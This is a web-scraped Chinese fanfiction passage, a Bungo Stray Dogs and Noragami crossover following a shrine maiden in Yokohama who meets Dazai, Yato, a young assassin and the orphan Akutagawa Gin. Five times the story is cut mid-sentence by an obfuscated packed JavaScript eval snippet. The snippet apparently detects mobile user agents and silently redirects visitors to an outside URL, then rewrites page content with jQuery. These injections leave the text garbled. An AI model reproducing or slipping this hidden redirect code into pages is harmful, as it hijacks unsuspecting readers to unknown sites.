像是有了近千年的历史，巍峨而挺拔，树干粗壮，枝繁叶茂，盘根错节，树皮粗糙，上面布满了岁月的痕迹，似乎见证了无数岁月与历史的变迁。 当靠近这棵古树的时候，太宰治感受到了一种沉甸甸的厚重感，它不断荡涤着自己的心灵，就连时间也好像在这里凝固了下来。 太宰治微微愣神，这样的树木，的确可以被称为神木。 他下意识地寻找月见千里的身影，只见月见千里神色虔诚地向着御神木拜了又拜，而后，巫女小姐踩着木屐缓缓向前，用手轻柔地抚过神木的树干。 不知道是否是太宰治的错觉，在月见千里伸手抚过树干的时候，原本绿油油的树木似乎在发光，点点五彩斑斓的细碎光点在其中闪烁，像是在阳光下反射光芒的彩色玻璃。 太宰治惊讶地眨了眨眼，不过等他再睁开眼睛的时候，御神木还是那么一片青翠的绿。 “握住它，”月见千里走到太宰治的面前对他说到，随后，她示意太宰治张开右手，在他的手心放上了什么东西。 “御守？”太宰治眨了眨眼，有些疑惑。 “嗯，”月见千里低下头回应，而后又想了想解释道：“浸润着灵力的御守，可以让你不至于迷失方向。” “握住它，跟着我来。”月见千里继续强调。 “好吧，”太宰治点了点头，随后跟着月见千里走去，在半途中似乎感受到了一瞬间的扭曲，像是通过了什么空气墙一样。 再接下来，他就回到了他熟悉的横滨。 太宰治环顾四周，这里正是那片熟悉的港口，他昨日消失的地方。 “好神奇，”太宰治感慨道。 月见千里并没有回话，她的任务已经完成，从今往后，大概是与眼前的人类不会有任何交集了。 现在更令她关心的是…… 她从这里感受到了……某种禁忌的气息…… 月见千里皱了皱眉，在看到港口处那些横七竖八的尸体的时候，神色一怔：“这是……？” “哦呀，巫女小姐会对这些感兴趣吗？”太宰治顺着月见千里的目光看去，因为需要调查这些人的死因，港口黑手党并未收敛尸体，所以它们还保持着死去的样子。 “最近横滨经常有人这样莫名其妙地死亡，看巫女小姐的表情，这莫不是与你们那边有些关系？” 闻言，月见千里移开了目光，她表情冷淡地看了太宰治一眼：“彼岸的妖魔并不会影响现世。” “好吧，”太宰治点了点头，他的脸上似乎带着遗憾：“我还以为找到他们的死因了呢。” “现世与彼岸之间隔着看不见的壁垒，即使逢魔之时让它们偶有相交，也不过只会产生轻微的波动，并不会有这样大规模的影响，”月见千里继续解释，这似乎还是她第一次说这么多的话，“你们调查的方向还应当在人类之间。” “嘛，我知道了，”太宰治继续不在意地点头，“看来这件事还得靠我们自己。” “那么巫女小姐现在是要回去神社吗？”太宰治好奇地追问。 月见千里：“与你无关。” “好吧，”太宰治叹了口气，表情略带失望：“若是巫女小姐在横滨又什么需要帮忙的地方，欢迎随时来找我哦。” “我叫太宰，太宰治，至于如何可以找到我吗？”太宰治略微思索，然后兴奋地说道：“只要哪里有河流，哪里大概就会有我的身影。” “诶？不对，若是巫女小姐来找我的时候，我正好在自杀……”太宰治捂脸，神色惊恐，“那不是会被巫女小姐阻止，从而到不了黄泉比良坂了吗？” 月见千里…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533056|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你放心，我不会去找你，也不会阻止你自杀。” “这样吗？”太宰治的表情很是失望，“我还以为巫女小姐也会舍不得我，专门从边跑来见我呢。” 月见千里沉默了半晌，她不知道对方为什么会产生这样的错觉，最后，她语气僵硬地挤出这么几个字：“你想多了。” “果然只是我自作多情而已——” 太宰治放缓了声线，嗓音听上去格外地沮丧：“巫女小姐明明偷走了我的心，却连见都不愿意见我。” 月见千里：…… 她是不明白话题是怎么偏到这里的，但是…… 月见千里将眸子移到太宰治的地方，这似乎是她第一次这样认真地看着太宰治，在那双淡金色的眸子里面，太宰治有些仓皇地移开视线…… 那双淡金色的眸子里面什么都没有，清澈空荡得像是一面镜子…… 他可以清晰地从里面看到自己倒影…… 但也正因为如此才会让他感到恐惧…… 见到对方移开视线的行为，月见千里也不在意，她只冷淡地笑了一声，做出了如下评价：“太假了。” “我不知道你想要从我身上得到什么，但是，有些话连你自己都骗不过。” 说罢，月见千里就迈开脚步向着远方走去，在她即将离开太宰治视线的那一刻，或是因为角度的原因，她的身上恰好落下了橘红色的霞光。 于是，在那之后，她整个人似乎被融化在了黄昏之中，就这么消失不见了。 太宰治兀自站在原地，自顾自地看着远方，神情怔怔，目光却像是一潭波澜不惊的死水，黑魆魆的。 “是啊，太假了，”他喃喃道，突然觉得手中空荡荡的，他低下头，看着手中握着的御守化为点点光点消失不见，神色略微有些恍惚，“逢魔之时果然是人在黄昏中才会所产生的错觉吧……” 差点连他都骗过去了…… 就像是一场光怪陆离的梦境，抓不住的…… 6. 相当实诚的少年杀手 白衣绯袴的巫女小姐行走在一片废墟之中，她的脚下踩着焦土，视线快速地在地面上掠过。 这里似乎刚刚经历过一场动乱，其场面足以用惨烈来形容。 空气中到处弥漫着硝烟与炮火的味道，混合着血的腥气和烧焦的臭味涌入她的鼻腔。 巫女凝目望去，人们的尸体就这么横七竖八地躺在被废墟掩埋的街头，身下流出的血液已经干涸凝固，浸透了发黑的土地。 竟然还在发生战争吗？真是一座悲伤的城市呢…… 月见千里这样想到，内心却并没有生起多少波澜。 有人的地方就会有争斗，这是既定的事实。 她之所以站在这里，也不是为了调查战争的起因，而是…… 在送太宰治来到现世的时候，她看到的那些莫名死去的尸体着实有些让她在意。 于是，在离开太宰治之后，她就一个人在这座城市里面调查起来。 横滨似乎是一座相当混乱的城市，充斥着血腥与暴力，到处都弥漫着死亡的气息。 所以若是有人在这里浑水摸鱼，搞些不容于世的实验，也不太容易被发现。 若不是……她亲自看见那些尸体的话…… 月见千里神色愈发冷淡了，她踩着木屐，向着这片废墟的深处走去。 在那边藏着的不仅是殷红的血液，死去的尸体，还有某种不可言说的禁忌。 当月见千里逐渐靠近禁忌的中心，她眼前的景色也发生了变化。 “结界，”月见千里很快就明白了自己的处境，她现在所处的地方，正是一片由人为创造的诡异结界。 这是一个完全密闭的空间，空间里面什么都没有，只除了…… 这片空间的中心，一位看不清面貌的黑袍人在她面前跳着祭祀的舞蹈，口中不断地念念有词，黑袍人的前方是用猩红色的液体绘制的巨大法阵，在密闭的空间里面微微发亮，闪烁着忽明忽暗的诡异光芒。 这是…… 月见千里微微攥紧掌心，她的心中似乎涌上了一股不妙的预感。 她似乎想起了……在很久很久之前，在那场混乱的，足以毁天灭地的灾难之中，她似乎也见到这样的场面。 那些披着黑色长袍的看不见面貌的黑衣人将人类圈养在法阵中间，她亲眼看着那些人类在里面溶解，四下都是被搅碎的肉沫，有不可名状之物在其中徘徊，它们疯狂地吞噬着人类的血肉，像是对待什么美味之物一样细细咀嚼，发出“咔咔”的声响。 而那些人类，是被称为“祭品”的存在…… 那么她自己……月见千里忍不住按住了额头，自己那时候……是作为什么才看到那样的画面的呢？ 祭品，局外人，信徒，还是…… 大脑像是被什么东西撕裂成了两半，只要一想到那样的画面，月见千里就感到一阵眩晕，就像是看着正在旋转着的死亡万花筒，让她的思绪混乱不堪。 她只记得那场事件的结局。 那场灾难以神明投下的一瞥得以停止，而她自己也像是获得了神明的偏爱，成为了神明唯一的信徒。 月见千里垂下眼眸。 神明已经不在了，但那场灾难似乎还未完全结束。 有人正尝试让那场灾难再次复现人间。 月见千里拿起了背后的梓弓，用灵力凝结称为箭矢向着黑袍人射去，这一次，她一定要…… “嗖——”，箭矢毫无阻碍地穿过黑袍人的身体，插在了地上…… 可它并未对黑袍人造成任何伤害。 梓弓是破魔之弓，它射出的弓箭自然只能够封印妖魔，对人类却是完全无害的。 月见千里只能眼睁睁地看着巨大法阵散发的光芒陡然大了起来，法阵四周开始散发出耀眼的红光，刺得月见千里几乎无法睁眼，而后，便是黑袍人雀跃地大叫：“成了，成功了。” 只是未等月见千里察觉出法阵中不可名状的气息，“砰——”地一声，随之而来的一声剧烈的枪响让四周恢复了平静。 月见千里睁开了眼睛，只见黑袍人直挺挺地倒在了地面上，殷红的血液四处飞溅，他的胸口，正中了一枪。 月见千里扫了一眼死去的黑袍人，然后向着开枪之人看去。 那是一个手拿木仓的少年，身着一身棕色风衣，有着棕红色的头发和一双湛蓝色的眼。 少年正用那双湛蓝色的眼睛看着她，警惕而冷静…… 只是，那双眼中却十分空荡，倒映不出任何存在。 他似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533057|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是用眼睛看着……也仅此而已。 月见千里与他进行了短暂而沉默的对视，而后，她终于意识到自己需要说些什么，来打破这份沉默。 可是说什么呢？月见千里干巴巴想了半天，落下了一句：“你杀了他。” “嗯，”对方淡定地收枪，顿了顿，反问道：“不可以吗？” 月见千里：…… 倒不是不可以，倒不如说，他这样做给月见千里解决了一个大麻烦，只是……她还没有搞清楚那人的法阵究竟有什么作用。 “不，谢谢，”月见千里回复到，探查法阵的作用说起来应该算是自己的职责，现世的人只需要关注现世的事情就行了。 “不用谢，”少年的语气并无半分起伏，他实诚地说道：“我这样做是为了自己。” 月见千里愣了一下：“是这样啊。” “是的，”少年认真地点了点头，“我的异能力告诉我，如果不杀掉他就会发生什么不好的事情。” 月见千里：“异能力？”是这个世界的力量体系吗？ “嗯，”少年有问必答，“我的异能力叫做天衣无缝，可以预知五六秒之后发生的事情。” “听起来是相当厉害的异能力呢，”月见千里顺口感慨了一句，预知的能力在某些方面足以颠覆因果。 “我也这么觉得，我是个杀手，它能在我工作的时候帮我许多忙。” 月见千里：……怎么说呢……这就挺怪异的。 她忍不住看了对方好几眼，确定对方是真的很认真地在回答她的问题，没有半分敷衍的意思。 而就是这毫不敷衍的回答才让她感到怪异。 倘若月见千里是个杀手，她会毫无保留把自己的能力和弱点告诉一个只有一面之缘的陌生人吗？ 毫无疑问是不会的，她就连熟人也不会说。 “你们杀手都是这么说话的吗？”月见千里实在是忍不住问了出来，难道是自己彼岸呆了太久，已经无法跟得上这个时代了吗？ 少年沉默了。 就在月见千里以为她无法得到任何回答的时候，少年偏了偏头，继续认真地说道：“不知道，我很少见到其他杀手，对他们的说话方式并不了解。” 月见千里：…… 7. 不靠谱的神明 暮色降临，在横滨某个不知名的巷口，一个穿着运动服的奇怪男子正背着人群，躲在角落里面鬼鬼祟祟地干着什么勾当。 “找到了，面包，是面包！”突然，男子大声喊叫了出来，脸上写满了得意，他的右手微微颤抖，从旁边的垃圾桶里面翻找出了一个包装袋。 在拿起包装袋的时候，男子还不可置信地端详了许久，而后，他的脸颊上缓缓流下两行激动的泪水：“太好了，今天的晚餐终于有着落了。” 然后，“砰——”的一声，是重物落地的声音，男子立马身手敏捷地闪身躲避。 “什么东西？”在随身一跃外加270度的一个帅气转身之后，男子目光警惕地看向声源处，怀中还紧紧护着他好不容易找到的面包。 只见刚刚发出重响的地方正躺着一具尸体。 男子神色惊恐：“不至于，不至于，我就是来找找晚餐而已，不至于就这么撞见凶杀现场了吧。” 他情不自禁地咽了一口唾沫，表情略带惊恐地向着尸体旁边望去。 巫女小姐正在旁边注视着他，神色莫名，隐约能从她的眼神中看到一丝丝……嫌弃。 夜斗揉了揉眼睛，他觉得自己出现了幻觉，嫌弃什么的……绝对不存在！ “哟，好巧，千里，你来扔垃圾吗？”夜斗随意地打了声招呼，“我们又见面了。” “嗯？好像有什么地方不对？”夜斗再次揉了揉眼睛，在确信自己眼前的并非幻觉之后，他用手重重地敲了额头一下，“我是在做梦吗？千里你怎么跑到现世来了，我以为你会守着那座神社过一辈子呢。” 月见千里：…… “若不是某位不靠谱的神明把麻烦丢在我那里，我想我应该不会来到现世。”她表情淡淡地说到。 “哦，原来如此！竟然有这样不靠谱的神明！”夜斗义愤填膺，带着热心市民该有的嫉恶如仇：“是谁？我一定要贴小广告控诉这位神明的不道德行为，到时候，那神明的信徒……嘿嘿嘿……就由我来接手了！” 越想越美的夜斗陷入了美好的幻想之中，浑身似乎都在冒着小花花。 月见千里：…… 她面无表情地看着这位神明，等待着他冷静下来。 见月见千里许久没有回答，夜斗睁开了眼睛，在注视着巫女小姐冷淡的眸子的时候。他的内心“咯噔”了一下。 那位不靠谱的神明，说得该不会是他自己吧…… 慢慢恢复理智的夜斗神终于想起了自己将人类就这么扔在巫女小姐的神社，而后趁着天还没亮连夜逃跑的行为。 “呃……”夜斗试图给自己找补，但他就是疯狂头脑风暴也想不到任何合理的理由。 “误会，这都是误会……”，他讪讪地说道，毕竟他也就只能说这几个字了。 “算了，我这次来找你，是因为他的事。”月见千里不准备和他翻旧帐，若是真算起来，这位神明给月见千里带来的麻烦可谓是一天一夜也算不完，她单刀直入地说出来自己的目的。 “原来是这样啊。”夜斗立马正经起来，他瞥了旁边的尸体一眼，给月见千里比了个“OK”的手势。 “不就是处理尸体吗？我保证给你安排得妥妥的，把他埋到一个谁也找不到的地方去。” 月见千里：“……” “不过话又说回来，他和千里你有矛盾吗？”夜斗好奇的视线在尸体与月见千里之间反复逡巡，表情却是一本正经，欲盖弥彰：“绝不是我八卦哦，我就是想了解一下情况，看看有没有能帮上你的地方。” 月见千里：“……” “你不胡说八道就算是对我最大的帮助了，”月见千里按了按额头，“其一，这人并不是我杀的，我也不需要你处理尸体；其二，我来找你是因为他的行为，此人在横滨用活人祭祀。” “什么啊，”夜斗有些遗憾，“本来以为我发现千里你的秘密了呢，没想到这人竟然不是你杀的。” 月见千里：……这位不靠谱的神明抓重点的能力，可谓一绝。 “他用活人祭祀。”月见千里再次言简意赅地表达了自己的目的。 “嗯，活人祭祀。”夜斗了然地点点头。 “诶？活人？好可怕！”转瞬之间，他又变了一副表情，速度飞快地躲在月见千里的身后，悄悄探出头来观察，“他应该死透了吧，会不会突然复活吓我们一跳？” “你知道的，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533058|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有神器。”夜斗眨巴眨巴眼睛，“还得靠千里来保护我。” 月见千里：…… 她实在是忍受不了这位神明一而再再而三的耍宝行为了：“若是你再这样，我不介意……” 月见千里掰了掰指节。 夜斗瞬间安静如鸡，他悄咪咪向后退了好几步，警惕地观察月见千里的行动，若是一有风吹草动，他绝对立马逃走。 “好了，”见到自己的话语已经告知了神明，月见千里也不打算久留，“我要说的话已经说完了，接下来的事情应该是神明的职责。” 她抬了抬脚，转身离开。 “等一下，千里，”夜斗在她的身后神色幽幽地发出了声音，语气听起来还挺认真。 月见千里脚步顿了顿，随后转身问道：“还有什么事？” “是这样的，你也知道我的神器不在身边，而且现在还有事情需要调查，所以……”夜斗脸上露出了讨好的笑，“最近横滨有不少妖魔从彼岸来到了现世……” “……我知道了。”月见千里立马就明白了他的意思，“我会解决。” 夜斗的表情立马阳光灿烂起来：“谢谢千里～” 月见千里幽幽叹了一口气，再次转身离开了原地。 黑袍人的事情她已经告诉神明了，剩下的便不在她的职责范围之内。 虽说那位神明平常的表现……嗯……着实不怎么靠谱，但面对这样的事情应该也会认真起来的吧。 说起来，她认识夜斗神的时候，他好像不是这个样子的…… 月见千里思考了一下，她依稀记得初次见面时对方眸光中闪烁着的寒光…… 月见千里忍不住打了个寒颤…… 时间果真是世界上最恐怖的东西。 它可以抚平一切，碾碎万物，将所有好的，或者是坏的东西，都一刀刀地刮刻干净，直到将所有存在的痕迹都尽数抹除。 然后，它就能平等地给一切都带来终结。 时间啊…… 月见千里缓缓地将手伸向半空之中，她虚虚地想要握住什么，却最终什么也没有抓住…… 时间过得太久了，她好像也记不清自己原本的样子了。 8. 深夜问鬼神 巫女小姐坐在屋檐之上，头顶着一轮孤悬的明月。 黄昏已经过去，夜晚如期而至，她一动不动地坐在那里，目光冷漠而深沉，像是一尊沉默的雕塑。 没有人关心她为何会在这里，这大抵是不正常的，因为这里是横滨有名的贫民窟。 贫民窟里的人们啊，无不如同漂泊流浪的丧家之犬，一旦闻到任何的血腥味，就会露出它的獠牙，如同跗骨之蛆一般紧紧尾随着，直到……在那人身上狠狠撕咬下一块肉出来。 但巫女小姐并未遇到那般贪婪的视线，即使她的衣着干净整洁，比起这里的土著人物，更像是无意间流落在这里的大小姐，浑身透着与这块土地的格格不入。 是没有人在意她……又或是……人们下意识地忽略掉了她的存在…… 好吧，这或许不重要。 总之，巫女小姐就这么隐藏在深沉的暗色之中，面无表情地俯瞰着这个世界，直到……走在外面的人群逐渐稀少，圆月爬上了树梢，原本喧闹的世界逐渐变得清寂，唯有悬挂在街上的老旧电灯还在工作着，发出“滋啦……”的声响。 夜已经深了！整个苍穹上都像是被打翻了的墨汁浸染，变成了浓郁的黑。 月见千里不急不忙地从屋檐上站了起来，她从黄昏就这么坐到黑夜，再坐到凌晨……就只是为了现在…… 黑夜一向是最适合做某些事情的时候，因为无尽的黑暗可以隐藏一切，将所有发生在这里的恶与罪孽都掩藏个干净。 虽然……月见千里并不打算干什么见不得人的事情，但像是退治妖魔这些事情，显然还是在无人的深夜为好。 超出人们认知范围的事物若是真的存在，只会引起无意义的恐慌。 月见千里向着远方眺望，退治的过程中难免会造成毁坏，为了将对现实世界的影响缩到最小，她需要找到一片相对空旷的地方。 不过，横滨这块土地啊，似乎到处都留有战斗后被破坏的痕迹，月见千里很容易就找到了一片破败废墟。 该说是幸……还是不幸呢…… 月见千里久久凝望着这片土地，而后，她背过身去，从高处一跃而下，深沉的夜中只剩下一片清浅的叹息。 …… 月见千里离那片废墟并不是很远，大概也就只有十多分钟的路程。 在到达目的地之后，她并没有仔细观察四周的情况，无论现实情况有多么凄惨，她也无暇悲伤春秋，说到底，现世的情况与她无关，她只需要在意自己的那一小方天地罢了。 今天若不是因为夜斗神的拜托，她根本不可能出现在这里。 巫女小姐拿出背后背着的梓弓，神情认真而严肃。 梓树被称为万树之长，是最具有灵性的存在，用梓树制作而成的弓箭能够将各种存在于彼岸之间的，没能真正魂归自然的灵魂封印起来，让它们重新回到地狱的怀抱，这就是依旧流传在人世之间的，人们口口相传的“破魔”。 但梓弓的作用却远不止如此。“鬼怪在眼前，拉满弓弦即射箭；梓木制之弓，拉弓过后即收敛；今日前来问神言。” 由梓木制造的弓箭，还有通灵之能。 正如《源氏物语》中《葵之上》所记载的： 【何处杳杳梓弓鸣。】 【梓弓弹、鬼衔怨。】 【弦音间、稍慰宽。】 【恶灵面目终显现。】 若是拨动绷直的梓弓弓弦，便能够将上述那些怪异在短时间之内引导出来，此即为“通灵”。 “铮——”，梓弓的弓弦到底不属于乐器，它的弓弦绷得很紧，发出的声音带有一种明显的尖锐感，并不悦耳清脆，反而有一种沉闷浑厚的感觉。 月见千里拨动了几下弓弦，那种沉闷浑厚让人的内心发紧，像在震慑人的灵魂，很容易便让人产生一种荒诞的不适感。 随着不适感一起出来的，还有…… 夜空中不知何时染上了一层薄绿，浓郁的雾气四处弥漫，四野中随之涌起了怪异的歌声，原本空荡荡的一片废墟之上……变得朦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533059|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朦胧胧而又灯影幢幢的，在看不清的视野下，有些东西正在破土而出。 月见千里站在废墟中间，眼神凌厉如同鹰隼，她审视着着这些从彼岸里爬出来的妖魔，熟练地拉弓射箭，表情略微凝重。 夜斗说的没错，近日从彼岸中现身的妖魔，数量的确多了些。 今日怕是一场苦战。 月见千里感慨了一句，但实际上，她并没有任何退缩的意思，反而淡金色的瞳孔染上了点点微光，脸上也多了些许笑容，变得更加鲜活了。 她像是真正地从彼岸来到了人间。 就在她放肆地想要大干一场的时候…… “哥哥……”，她的耳边传来一声呼唤。 月见千里：？ 女孩的声音很是惊恐，有些破音，却带着显而易见的焦急。 这不该出现在这里的声音，明显是属于人类的…… 月见千里缓缓地转过头去，只见： 荒芜的夜色之下，一个小孩子正疯狂地向着这边跑来，她神色惊恐，很是害怕，但眼神中……却带着孤注一掷的决绝。 孩子？怎么会在这里？ 月见千里后知后觉，但显然现在并不是月见千里思考这些的时候，因为…… 那些只存在于阴影中的怪物因为闻到了孩子的味道，早已经将矛头调转，虎视眈眈着向着那个孩子看去。 幼小的孩子似乎对此无知无觉，不，或许她是知道的，“通灵”已经能让她看见这些原本看不到的怪物，她却仍然一往无前。 有什么是她赌上性命也要前来的吗？ 在彼岸呆了许久的月见千里似乎已经无法理解这样的心情。 她的神情很是微妙，不明白有什么是对方不顾一切也要前来的理由，但是…… 巫女小姐沉默了半晌，拉动了手中的弓弦…… 不管怎样，这孩子的遭遇也与她有关。 若是她没有出现在这里，没有选择在这里“通灵”，这孩子便不会遇到这样的事情。 9. 捡到一个小迷妹 一场长达将近六个小时的战斗。 伴随着最后一只十几米长的蜈蚣被射穿了脑袋，化为飞灰消散于天地之间，这场除妖活动终于以巫女小姐的胜利作为结局。 “终于结束了，”月见千里呢喃了一声，唇色微微发白，她拿着梓弓的左手正在微微颤抖。 方才消耗的灵力太多了。 她几乎快要维持不住自己的身形倒在了地上。 月见千里将弓抵在地面作为支撑，缓缓地坐了下来。 天空已经接近破晓，整个苍穹在远方那一点橘红色的光芒的映衬下，泛着朦朦胧胧的光晕。 “哥哥……”，耳边的呼唤担忧而急促，月见千里晃了晃变得一片空白的脑袋，让自己清醒了过来。 就在不远处，她瞥见那个她救起的孩子，不知何时从结界里面跑了出来，用双手费劲气力在断垣残壁中扒拉着什么。 “……”月见千里注视了一会儿那双幼小的，被泥浆和鲜血的混合物裹满的手。 “没用的，”她轻叹了一声，注视着少女的眼神悲伤而又怜悯，“他已经死了。” “不会的，”芥川银的目光倔强而又执拗，她紧紧盯着眼前看不见尽头的废墟，“哥哥……，他说过会在这里等我的……” 即使是面对既定的结局还是不肯放弃吗？ 月见千里的话语打碎了芥川银的最后一丝希望：“你知道，在这样的环境下，他不可能活下去。” 世上的故事总爱以悲剧而结尾，能得到完满的结局向来少之又少，但是…… 月见千里拍了拍芥川银的肩膀，试图通过这样来阻止她近乎于自虐的行动：“你还要活下去。” 她轻轻掰过芥川银的身体，让对方可以看到她笃定的眼神：“他也希望你能活下去。” 注视着这样一双眼睛，芥川银原本涣散的瞳孔逐渐有了神采，她的双眼凝出了泪滴，顺着脸庞滑落：“哥哥……” 良久，空气中传来了少女没有停歇的啜泣声…… 芥川银哭了多久，月见千里就看了她多久，直到，对方的哭泣声变得微弱。 “哭够了？”月见千里问道。 “……” 芥川银胡乱地摸了摸脸，擦了擦眼角的泪水，脸颊微微泛红，“对不起……” “还有……，谢谢您。”她斟酌良久，说出了这份迟来的感谢。 “啊，没关系，”月见千里不在意地说道，“说起来，你也是因为我，才会看到先前的事情。” “接下来有什么打算？”月见千里偏过头问道。 芥川银眸中有些迷茫：“打算吗？我不知道……” “我和哥哥从小就生活在贫民窟之中……”，想起了那些和哥哥相依为命的日子，芥川银的眸光黯淡，“我不知道我可以去哪里。” “这样啊，”月见千里耐心地倾听着，静静等待着芥川银的答案，说到底，她对横滨也不太了解，发表不了什么有用的看法。 “那个……”，在思索良久之后，芥川银低下头去，用手紧紧地攥住衣角，不好意思地说道：“我能不能……跟着巫女小姐……” “……”月见千里有些诧异，她没想到对方在见到那些东西后，还能做出这样的决定，不过，她很快就收敛好自己的表情，语气平淡地问道：“你知道跟着我会见到什么吗？” 看到对方发紧的脸色，月见千里笑了笑：“我生活的地方，注定会和那些怪物打交道，而且，那里几乎没有人类存在，你在那里见不到任何人……” “这些我都不在乎……”芥川银未等月见千里说完就抢答到：“人类什么的……哥哥已经不在了……他们也不在了……这个世界上只剩我一个人了……就只剩我一个人了……” 芥川银喃喃重复着，又是几滴泪滴从眼角滑落，她倔强地抬头似乎想通过仰头的方式让泪水倒流，却发现这只是徒劳无功，而后，她看见巫女小姐站起身来，走到她的面前，用那双白皙的手在她的脸上抚过，擦去她眼角的泪滴。 在阳光的照耀下，巫女小姐温柔得不像话，她好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533060|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个人都融化在了光里面，朦朦胧像是要随着光化去。 芥川银下意识地拉住了巫女小姐的衣角，好像只有这样，巫女小姐才不会在她的眼前消失。 对上巫女小姐疑惑的双眼，她鼓起勇气，大声说道：“巫女小姐，请您……收留我，我……我什么都可以做的……” 像是意识到自己在说大话，芥川银“腾”地一下脸红了，“就……就算不会，我也可以学。” “拜托了，巫女小姐。”说着，她郑重地鞠了一躬。 “……” 然而，许久也没等到巫女小姐的回答。 芥川银微微抬眼，看见了月见千里略带思考的表情。 更……更紧张了，头顶像是要冒烟了，她立刻又低下头去，不敢再看。 “你叫什么名字？”又过了许久，芥川银听到了巫女小姐的问话。 “银，我叫芥川银。”芥川银的目光中带着希冀，巫女小姐这样问是不是说明…… 月见千里接下来的话语肯定了芥川银的猜测：“你叫我月见就好。” “我住的地方，大概对你来说单调而又乏味，若是你想要回到现世，随时和我说就可以了。” “我并没有什么需要你做的，但只有一点，一旦你决定回到现实，不要将彼岸的事情对任何人说。” “我不会离开月见小姐的，”芥川银信誓旦旦，似乎又觉得言语不够诚恳，她伸出了三根手指，眼神中满是认真，“我发誓，若是……” 芥川银话还没有说完，就被月见千里打断了，她朝芥川银伸出了手，“好了，发誓就不必了，你随时都可以离开。” “跟我来吧……” “是，”芥川银点了点头，她正想将手放上去，却在伸出手的途中顿住了，将右手在衣服上擦了好几遍也没擦干净上面的血污，怯怯说道：“月见小姐，您在前面走就好，我会跟上的。” 月见千里：…… “没关系……”她毫不在意地牵起对方的手，向着阳光的方向走去。 10. 神明赐予她新生 这是一片被废墟淹没的环境。 伴随着硝烟与炮火，这片由杀戮洗礼后的土地在不断地延伸。 天空中阴沉沉的，没有透过一丝光亮，层层叠叠的行云将整片海域都笼罩了起来，仿若一座密不透风的囚笼，隔绝了所有生机，将这个世界的最后一丝希望也吞噬殆尽。 这里是横滨擂钵街，是被社会，被秩序和法律所抛弃的存在，也是…… 芥川银自小便生存着的地方…… 是的，芥川银自小就生活在贫民窟之中…… 贫民窟的生活是什么样子的呢？ 冰冷阴沉的天空中满是晦涩，来自遥远的西西伯利亚的寒流裹挟着冰冷的寒意跨越山海而来，迫不及待地浸入银的骨髓，企图入侵她的五脏六腑。 芥川银从未见过她所谓的父母，自从有意识以来，她就已经在这里了，她也从来没有过奢求去寻找到那些人。 或许，她是被父母抛弃了，或许，她的父母早已经死亡，又或许，……这个世界上有太多太多的可能性，有谁会知道呢？ 她向来不会，也没有时间去产生那样的妄想。 因为光是“活着”这件事情本身，就已经花光了她的所有气力。 她的眼中看到的世界从来都是灰白色调的，没有诗，也没有远方，有的只是一望无际的断垣，是随处可见的尸首，是流浪漂泊的鬃犬，是遥不可及的食物。 是了，对于贫民窟的人而言，“活着”便已经是最大的奢求了，又有什么权利去考虑那些所谓的人生哲学呢？ 在这里，死亡的阴影无处不在，她永远也不知道永恒的长眠不醒到底什么时候会如期而至。 也许是在今天，也许是在明天，也许她只是睡了一觉便再也无法醒来，也许……她会在将来的某一天满是痛苦，满是绝望地挣扎着死去…… 贫民窟里的人呐，就像是阴沟里的老鼠，腐肉里面的蛆虫一般，拼命地尽可能地汲取着任何能够让他们活下去的养分，是横滨这座城市想要剔除却永远也剔除不掉的伤疤。 不过相比于那里的其他人，芥川银感觉自己又是幸运的。 因为她有哥哥…… 